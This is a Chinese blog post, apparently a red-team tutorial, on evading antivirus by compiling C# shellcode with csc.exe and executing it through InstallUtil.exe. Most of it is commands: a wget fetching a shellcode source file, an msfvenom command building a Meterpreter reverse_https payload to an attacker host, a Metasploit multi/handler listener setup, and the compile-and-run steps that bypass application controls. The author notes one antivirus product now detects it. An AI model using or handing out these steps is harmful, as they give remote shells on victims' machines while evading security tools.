0x00 前言

C#的在Windows平台下的编译器名称是Csc.exe。Installutil.exe工具是一个命令行实用程序,允许您通过执行指定程序集中的安装程序组件来安装和卸载服务器资源,可以执行dll,exe,txt等。这两个东西一般情况下是配合使用。所以就不单独拿出来讲了。

 

0x01 利用过程

 

1.下载shellcode.cs

wget https://github.com/222222amor/exp_notes/blob/master/InstallUtil-Shellcode-cs

我这里使用cobalt strike的shellcode,你也可以使用msf的shellcode,命令如下:

msfvenom --payload windows/meterpreter/reverse_https LHOST=10.0.0.1 LPORT=443 -f csharp > pentestShellCode.txt

msfconsole

use multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST xx.xxx.xxx.xxx

set LPORT 443

set ExitOnSession false

run -j

 

2.编译并执行

C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe /unsafe /platform:x86 /out:exeshell.exe InstallUtil-ShellCode.cs

C:\Windows\Microsoft.NET\Framework\v2.0.50727\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

或者 C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /platform:x64 /out:exeshell.exe Shellcode.cs

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U exeshell.exe

 

绕过的流程图

 payload免杀之Installutil.exe&csc.exe利用

 

 

但是现实很骨感。已经被某60杀了。

payload免杀之Installutil.exe&csc.exe利用

 再或者就是你过了

payload免杀之Installutil.exe&csc.exe利用

 

 

 

 

 

相关文章:

  • 2021-12-12
  • 2022-01-23
  • 2022-12-23
  • 2022-12-23
  • 2021-05-09
  • 2021-05-18
  • 2022-12-23
  • 2022-12-23
猜你喜欢
  • 2021-09-27
  • 2021-06-11
  • 2021-09-24
  • 2021-07-28
  • 2021-11-29
  • 2021-11-18
  • 2021-07-31
相关资源
相似解决方案